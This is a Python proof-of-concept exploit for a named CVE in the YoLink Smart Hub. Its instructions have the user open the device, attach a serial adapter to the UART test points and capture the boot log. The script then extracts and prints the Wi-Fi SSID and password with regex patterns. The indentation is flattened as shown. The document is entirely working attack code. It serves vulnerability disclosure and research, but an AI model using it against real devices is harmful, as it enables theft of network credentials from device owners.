#!/usr/bin/env python3
"""
CVE-2025-59447 - YoSmart YoLink Smart Hub UART Debug Interface Credential Disclosure
PoC for reading boot log from exposed UART debug interface to extract network credentials.
Requirements:
- USB-to-TTL serial adapter (e.g., CP2102, FTDI FT232RL)
- Physical access to YoSmart YoLink Smart Hub 0382
- pyserial library (pip install pyserial)
Usage:
1. Disassemble the YoLink Smart Hub to expose the PCB
2. Identify UART test points (TX, RX, GND) on the board
3. Connect USB-to-TTL adapter: TX->RX, RX->TX, GND->GND
4. Run: python3 cve-2025-59447_poc.py /dev/ttyUSB0
"""
import serial
import sys
import re
import time
def read_boot_log(serial_port, baudrate=115200, timeout=30):
"""Connect to UART and capture boot log output."""
try:
ser = serial.Serial(
port=serial_port,
baudrate=baudrate,
bytesize=serial.EIGHTBITS,
parity=serial.PARITY_NONE,
stopbits=serial.STOPBITS_ONE,
timeout=timeout
)
print(f"[*] Connected to {serial_port} at {baudrate} baud")
print("[*] Waiting for boot log output (power cycle the device if needed)...")
boot_log = ""
start_time = time.time()
while time.time() - start_time < timeout:
if ser.in_waiting > 0:
data = ser.read(ser.in_waiting).decode('utf-8', errors='ignore')
boot_log += data
print(data, end='', flush=True)
ser.close()
return boot_log
except serial.SerialException as e:
print(f"[!] Serial error: {e}")
return None
def extract_credentials(boot_log):
"""Extract network credentials from boot log."""
credentials = {}
# Common patterns for Wi-Fi credentials in boot logs
ssid_patterns = [
r'SSID[\s:=]+([\w\-\.\s]+)',
r'wifi[\s_]*ssid[\s:=]+([\w\-\.\s]+)',
r'wlan[\s_]*ssid[\s:=]+([\w\-\.\s]+)',
]
passwd_patterns = [
r'(?:password|passwd|passphrase|pwd|psk)[\s:=]+([\S]+)',
r'wifi[\s_]*(?:password|passwd|passphrase|pwd|psk)[\s:=]+([\S]+)',
r'wlan[\s_]*(?:password|passwd|passphrase|pwd|psk)[\s:=]+([\S]+)',
]
for pattern in ssid_patterns:
match = re.search(pattern, boot_log, re.IGNORECASE)
if match:
credentials['ssid'] = match.group(1).strip()
break
for pattern in passwd_patterns:
match = re.search(pattern, boot_log, re.IGNORECASE)
if match:
credentials['password'] = match.group(1).strip()
break
return credentials
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <serial_port> [baudrate]")
print(f"Example: {sys.argv[0]} /dev/ttyUSB0 115200")
sys.exit(1)
port = sys.argv[1]
baud = int(sys.argv[2]) if len(sys.argv) > 2 else 115200
print("=" * 60)
print("CVE-2025-59447 - YoLink Smart Hub UART Credential Leak PoC")
print("=" * 60)
log = read_boot_log(port, baud)
if log:
print("\n[*] Extracting credentials from boot log...")
creds = extract_credentials(log)
if creds:
print(f"\n[!] Extracted Credentials:")
for key, value in creds.items():
print(f" {key}: {value}")
else:
print("[!] No credentials found in boot log")